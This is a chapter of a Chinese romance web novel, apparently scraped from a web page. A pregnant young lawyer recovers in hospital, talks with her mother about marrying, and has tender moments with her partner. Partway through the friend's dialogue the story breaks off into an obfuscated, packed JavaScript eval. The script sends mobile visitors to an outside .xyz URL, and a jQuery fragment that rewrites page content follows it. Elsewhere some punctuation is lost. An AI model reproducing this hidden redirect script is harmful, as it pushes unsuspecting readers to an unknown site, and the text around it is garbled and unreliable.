第40章 亲起来是什么感觉

作品:《春日有禧

    摇摇晃晃的梦似乎很短暂。


    季舒楹缓慢地睁开眼,映入视野的是米白色的天花板,柔和温暖的内饰,房间里很安静,没有消毒水的刺鼻味道,也没有嘈杂的声响。


    身体还有些发虚,四肢使不上力,但那种头晕冒冷汗的难受已经消失得干干净净。


    意识逐渐清醒,季舒楹坐了起来,被子窸窣作响。


    “小舒?


    坐在病房一侧沙发上闭目养神的钟冰琴听到响动,抬眼,立马过来,“感觉怎么样,还有没有哪里不舒服?


    季舒楹摇了摇头,环顾了四周,似乎是在医院,“我怎么了?


    钟冰琴握住季舒楹的手,有些心悸的后怕,“你低血糖了,把我们全都吓**,真真送你来了医院,医生刚给你挂完葡萄糖,我打电话让阿姨现在送餐过来。


    私人医院本身有自带的餐食,但钟冰琴怕季舒楹吃不惯,特地让家里阿姨也备了餐,以便季舒楹醒了就能吃上。


    打完电话,钟冰琴又絮絮叨叨地叮嘱:“我让阿姨给你准备了点小零食,以后要随身带着补充能量,这么大的人了,还不会照顾自己,怎么当妈妈?


    季舒楹被钟女士握在掌心里的指尖蜷了一下,抿了抿唇,才敢开口:“妈妈……你知道了?


    “这么大的事,为什么不告诉妈妈。


    钟冰琴深吸一口气,尽量控制情绪,握着季舒楹的手用力了一些,带上几缕责备,“你打算什么时候再跟我说,妈妈不应该是你最信任的人吗?


    “嗯嗯,妈妈肯定是我最信任最爱的人呀。


    季舒楹反手牵住钟女士的手,依偎过去,靠在钟冰琴的怀里,拖长尾音撒娇,“我这不是怕你觉得太突然了吗,所以本来打算等你未来女婿上门的时候再说的——


    钟冰琴动了一下,终究是不舍得推开女儿,“我看你就是想瞒着我,等瞒不住了再先斩后奏。


    “我哪有。


    季舒楹耍赖,只否认,不解释。


    钟冰琴有些无奈,叹了口气,伸手抚了抚女儿脸颊旁的碎发,将其挽到耳后,“你是真心想要跟他结婚,组建家庭,生这个孩子吗?


    不待季舒楹回答,钟冰琴继续道:“你跟他认识多久,知道他是什么样的人吗?清楚他的为人处世吗?知道他生气时是什么样吗?知道人性的最低处是怎样吗?


    “妈妈,我肯定是觉得他好才会……


    钟冰琴打断:“就算你真的觉得他很好,非他不可,那你有没有想过,他的好可能是热恋期的伪装。结婚生子要慎重,也需要多考察,你才二十四岁,我用了整整快三十年,也没看清自己的枕边人,你看得清吗,他真的


    值得你托付和信任吗?”


    一连串步步深入的问话钟女士的语气愈发严肃、审慎既是在问季舒楹也是在问她自己。


    季舒楹眼眸闪了闪也收了之前的姿态直起身来轻声道:“妈妈我是认真的我也会为自己的选择负责。你说我看不透他不够了解他他就看透我了吗?再说了人是会变的不仅男人会变女人也会变也许再过几年我就不喜欢他了。”


    “结婚生子都是我自己的选择跟他有关也跟他无关。如果我不想没人可以强迫我。”


    “妈妈你要相信我我会过好自己的生活无论有没有他参与无论他做得怎么样。”


    钟冰琴凝视女儿年轻的面容像含苞待放的花骨朵幼嫩热血赤诚认真。


    神似她二十多岁的时候。


    一开始得知这个消息被季茂明指责的时候钟冰琴也怀疑过内耗过是不是自己教育的问题是不是不该从小到大一切都依着季舒楹自己的喜好来是不是她给女儿的自由太多了。


    就像季舒楹没有按照原本计划出国而是跑去学法毕业了也未进季氏工作而是去了律所她一直都是站在季舒楹这边


    人生短暂譬如朝露钟冰琴不希望自己的女儿被世俗所牵绊只希望季舒楹做什么选择什么都是她自己真心喜欢并认可的。


    作为母亲该劝的她都劝过了。生活毕竟还是属于女儿自己去过的。


    “怀孕了还这么粗心大意。”


    钟冰琴换了话题算是默认同意了女儿的决定了开始忧心以后的事“得提前开始找育儿嫂和月嫂了家里的阿姨要不你带两个过去?月子中心看了吗?或者要不你上班那边先辞了吧以后再上也一样家里也不缺这点钱……”


    方方面面的事无巨细甚至还插手到了工作上的事。


    季舒楹听得头大又不想在这个节骨眼上跟母亲产生争执干脆转移话题:“突然好饿啊想吃东西……”


    明知道季舒楹是在装钟冰琴还是拿她没什么办法。


    偏偏这时病房门被人轻敲了三下礼貌的点到即止的。


    “伯母阿姨送的饭到了。”


    隔着门男人原本清冷质感的声线有些模糊口吻沉淡。


    季舒楹呼吸顿了一下抬眼看向门口。


    钟冰琴应了一声病房门被人推开。


    男人身着深蓝色衬衫眉骨优越的一张脸天生的淡然感袖口解开挽起到肘间带了几丝随意小臂线条紧实手腕上一支泛着冷光的银色腕表文质彬彬高级低调。


    明明只是一周没见季


    舒楹却有些恍惚。


    他对身旁矮了大半个头的阿姨低头说了句什么,侧脸轮廓似远山,流畅锋利,身形挺拔,看起来如一幅笔墨淡淡,清隽相宜的水墨画。


    阿姨点了点头,将手里的三层饭盒交给对方,又跟季舒楹和钟冰琴打了个招呼,再离开。


    病门被关上,裴远之提着饭盒过来,顺手取过一旁折叠的可移动饭桌。


    “伯母,先让小楹吃点东西吧。”


    裴远之没看季舒楹,对钟冰琴道。


    钟冰琴‘嗯’了一声,退后一步,给人留出空间,也带了几分考察的心思。


    裴远之展开饭桌,先用湿巾纸擦干净桌面,又将碗筷抽出先用沸水滚过,最后再将饭盒放到桌上,一一取出。


    季舒楹看在眼里,暗叹这人洁癖真是一点没变。


    最上面的是一份彩椒炒牛肉,红的鲜艳绿的青翠欲滴,再往下是芹菜炒虾仁、蒜蓉焖排骨、番茄滑蛋,白米饭,最下面是一碗汤汁郁白的鲫鱼豆腐汤,汤色奶白鲜浓。


    食材新鲜,营养丰富,色香味俱全,冒着刚出锅的热气,白雾缭绕,香气很有杀伤力地铺满房间。


    季舒楹是真的有些饿了,肚里空空的,倒也顾不上跟裴远之说话,先吃饭。


    那边裴远之问钟冰琴要不要也下去吃晚饭,廖音在医院对面的餐厅点了菜,他来看护


    就好。


    钟冰琴摇了摇头,说自己不饿,晚点回家吃。


    季舒楹专心吃饭,尝了块蒜蓉排骨,香软酥糯,好吃是好吃,但她坐在床上,有些不知道骨头该吐哪儿,放碗里?


    正犯难着,视野里出现几张交叠整齐的卫生纸,洁白,工整,每一角都对准,厚实地垫在饭盒旁边。


    季舒楹抬眼看过去,裴远之在跟钟女士低声交谈着什么,顺手将一抽卫生纸放回病床旁的台上,余光扫到她看过来的动作,淡淡道:“吃完我来扔。”


    季舒楹‘唔’了一声,将骨头吐在纸上,继续吃。


    吃到中途,季舒楹有些口渴,喝了口汤,又嫌汤有点咸。


    她看向钟冰琴,想要开口,想起什么,又转头看向裴远之。


    “想喝水。”


    称呼都省了,使唤的意思很明显,却并不让人讨厌。


    钟冰琴刚想起身,裴远之抬手拦住,“我来吧,伯母。”


    说着,裴远之取过杯子,倒了温水过来。


    季舒楹接过,抬起杯子,嘴唇碰触到水,刚好可以入口的适宜温度,突然想起之前第一次去KS找裴远之的时候。


    当时她各种挑剔,要求一杯不超过40°的热水,被裴远之不耐烦地打断,让她抓紧时间。


    而现在截然不同。


    很奇妙。


    这样想着,季舒楹慢吞吞喝了一口,放下杯子。


    忽而,身侧有阴影抬起,紧接着,微凉的指腹擦过唇角,她被袖角带起来的一小阵微风抚过。


    季舒楹有些懵,看向裴远之。


    裴远之的视线很淡地从她脸上滑过,太快,又似乎眸光太幽深,连她都不知道是何种意味。


    “嘴边沾水了。


    他道。


    这一下,帮她擦去了唇角的水渍,短暂而又猝不及防,快得像流浪的风掠过。


    哪怕在未来丈母娘面前,裴远之一贯的镇定自若,像是这种小事,私下相处已经做过千万遍了。


    钟冰琴看着两人,并不说话,微笑。


    季舒楹脸有些微红,被擦过的肌肤也在隐隐作烫,印证了钟冰琴说她还照顾不好自己的那句话,连喝水唇边都还会沾上。


    有些丢脸,又有些微妙的心情,血液来回冲撞着,找不到门路。


    心里挂念着这茬,季舒楹接下来吃饭都很注意仪态,她吃得很慢,细嚼慢咽,优雅斯文,也就没注意到旁边的裴远之,一边听钟冰琴讲话,偶尔应一声,一边余光看着她吃完了全程。


    钟冰琴看在眼里,至少从目前来说,裴远之处事沉稳,性格耐心,像是个能照顾好女儿的。


    吃完饭,能量逐渐涌入四肢,发虚的感觉也褪去。


    季舒楹舒服之后,坐不住了,想要出院,但钟冰琴不同意。


    哪怕季舒楹再三申明,真的没有什么大碍,还是被钟冰琴摁在高级病房里,要求今晚再观察一夜,明天再出院。


    病房里一直有人,一会儿是值班护士,一会儿是晚班医生。


    等吃完饭,裴远之就去隔壁配套的小房间里打电话去了。


    季舒楹一直没什么跟裴远之单独说话的机会,而裴远之也好像很忙的样子,她吃饭的时候,余光就扫到对方的手机屏幕一直在亮,像是有很多电话和消息。


    不过裴远之当时只低头看了一眼,就熄屏放回去了。


    病房里隔音一般,季舒楹隐隐约约听到几个关键词,似乎跟案件有关,应当是在和客户打电话。


    母女两又聊了会天,钟冰琴不打算再拖了,等取证完成,就会直接提起诉讼离婚,但季茂明那边也早有准备,律师打来电话说约个时间先坐下来谈判协商一下。


    季舒楹认真听着,表示无条件站妈妈,支持钟冰琴的一切决定。


    夜深了,钟冰琴回去休息了,明天再来接她出院,林真真过来接了钟女士的班。


    “对不起啊小舒,都怪我,不该折腾这个什么欢迎聚会,没想到最后会闹成这样。


    林真真抠了抠手指,低头道歉,语气颓唐。


    毕竟在场的人


    太多,私下已经传得到处都是了。


    不过,她也听说,钟阿姨不打算再拖了,会直接起诉离婚。


    季舒楹摇了摇头,安慰:“没关系,他们本来就是要离婚的,就算没有这件事,也会找别的机会。”


    聊了一会儿,就聊到隔壁的裴远之。


    “隔壁那个就是你未来老公?”


    不顾季舒楹**的目光,林真真用纵横夜场,审阅过无数男模的挑剔目光,点评道:“我来的时候打了个照面,别的不说,你老公确实挺帅的,感觉能去当夜店头牌了,你还是一贯的颜控。”


    “听说好像跟你是同行,他什么职位啊?”


    “我天,才大你四岁,人家已经是高级合伙人了?等你二十八岁的时候能像他一样吗?”


    季舒楹很想翻白眼,“你以为升职很容易吗,又不是菜市场


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15512190|168735||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    里的大白菜。”


    林真真最后总结:


    “又帅又很会赚钱,还舍得花钱,太完美的人男人一般都不存在的,所以肯定有什么不为人知的缺陷。”


    季舒楹满头问号。


    紧接着,林真真满脸狐疑地道:“他看起来这么高冷,一看就性冷淡的样子,你不会是被骗婚了吧。”


    季舒楹:“……?”


    裴远之看起来是人模人样,禁欲冷淡挂的,不怪乎林真真有这种想法。


    “没有啊。”


    季舒楹朝林真真勾了勾手指头,待后者附耳过来时,她压低声音,神神秘秘道:“这你就不知道了吧,看起来越正经的男人,实际上私下就越闷骚,他看着性冷淡,实际上色得很。”


    也不算胡说八道,裴远之自己说过的,问她是不是想要帮忙。


    正经人能坦然自若地反问要不要帮忙吗!


    林真真‘哇哦’一声,没想到能从好友这里听到这么劲爆的消息,兴奋地道,“那那那那,你们是做了几次中的?”


    季舒楹瞬间卡壳。


    吹牛吹到一半,吹不下去了。


    林真真看在眼里,反应竟然是:“一次就中?”


    “……林真真你闭嘴吧!!”


    裴远之打完电话,从隔壁房间里出来,眸光扫过来时,就看到床上两个人闹作一团的画面。


    他本身工作强度大,业务也忙,今天在医院里耽误不少时间,少不了跟客户一一解释,好在客户对他的信任度很高,给予了充分的理解和配合。


    看到裴远之过来,林真真立马收起前面的不正经,咳了几声,指了指旁边的纸袋,“诺,换洗的衣物,阿姨让我带过来的。”


    季舒楹抬了抬右手,前面刚打过葡萄糖的手,还有些不习惯,道:“我手没力气,你陪我进去。”


    言下之意,让林真真帮她洗澡


    。


    没想到,林真真笑眯眯地对裴远之道:“小舒想洗澡,那就交给您啦,我这个外人就不打扰你们一家三口了!”


    ……怎么就一家三口了!


    季舒楹伸手想要捶林真真,没想到好友见势溜得很快,门关之前还促狭地冲季舒楹眨了下眼,意思是‘给你创造了机会你们抓紧培养感情’。


    门关上。


    病房里一片静谧,夜深时分,窗外夜色安宁,偶有风声窸窣。


    仅余两人的私人空间。


    季舒楹刚想说不用听林真真说的话,就听到裴远之开口:“浴室里有为病人设置的扶手。”


    私人医院设施完备贴心,主打精细服务,浴室里都做了一圈到腰部的防水扶手,专为行动不便的病人设计,还有专门放置吊瓶的架子,根本不用担心不方便。


    言下之意,他不会帮她洗澡。


    季舒楹知道是一回事,被裴远之直接说出来,又是另一回事。


    “没打算要你帮忙,自作多情。”


    季舒楹轻哼了一声,掀开被子想要下床。


    被子宽大又长,被她睡得有些凌乱。


    下床时季舒楹没注意,脚被被单勾到,身体一歪,身体失去平衡,‘啊’的短促一声,季舒楹慌忙伸手,想要抓住一切可以抓的东西。


    下一秒,天旋地转。


    她被捞入一个温暖宽大的怀抱,修长结实的臂膀横抱着她,稳稳的力量感固定住,让人安定。


    季舒楹鼻尖嗅到清冽的男士香水味,还有肌肤的薄荷沐浴露味道,熟悉又陌生。


    鬼使神差的,季舒楹竟没有第一时间挣脱出来。


    像磁铁的正负极,只要靠近一定的距离,本身的吸力便无法自控地黏上,骨肉相贴。


    安静的空气,保持的动作,默契的,谁也没有说话,只能听到两道呼吸声。


    一声绵长均匀,一声浅淡不稳,逐渐交汇同频。


    仿佛有无声的东西在发酵、弥漫、漫漶。


    季舒楹忽而想起她做过的那个梦。


    也是在裴远之的怀里,但春梦里的裴远之分外强势主动,手里的动作也从不留情,一点冷淡也没有。


    梦中的画面,似乎在此刻与现实重叠覆合。


    “先起来。”


    裴远之淡声开口,打碎季舒楹在做梦的错觉。


    她本身没打算在他怀里呆多久,只是觉得温热妥帖,没有第一时间起来。


    一听裴远之赶人的话,季舒楹反而往他怀里窝了一下,“不要。”


    不等裴远之说话,季舒楹继续道:“怎么,不会抱我一个人都抱不动吧?难道我很重吗?”


    怀里的手也不安分,只是从那个碍事的位置挪出来,肘部微弯,紧紧拽着裴远之的领带,增加重力阻碍。


    裴远之偏头看她,眉心微折,几息后,喉结动了动,声音低沉清晰,“重。”


    一个字,惜字如金,简明扼要。


    季舒楹反应了一秒,不可思议地睁大眼睛,裴远之居然说她重。


    她哪里重了!


    就算真重了,又关他什么事!


    “裴远之你……”


    “重,因为不只抱你一个人。”


    裴远之打断季舒楹的话头,视线一点点下移,从她微乱的发丝,到小巧的鼻尖,娇嫩红润的唇瓣,视线仿佛也带着温度,“还有你肚子里的宝宝。”


    季舒楹张了张口,一时语塞,说不清是什么感受。


    上一秒还在炸毛,挑起了汹汹的怒火,下一秒又被人捋顺,仿佛被温热的掌心抚过,柔软的,痒痒的,难耐。


    离得太近了,近到此刻,她的头靠着他的肩,唇离他的下巴,也不过几厘米。


    季舒楹盯着视野里的修长脖颈,饱满微凸的喉结,还有一点痣,显得薄情,一个想法突兀地出现——


    亲起来是什么感觉?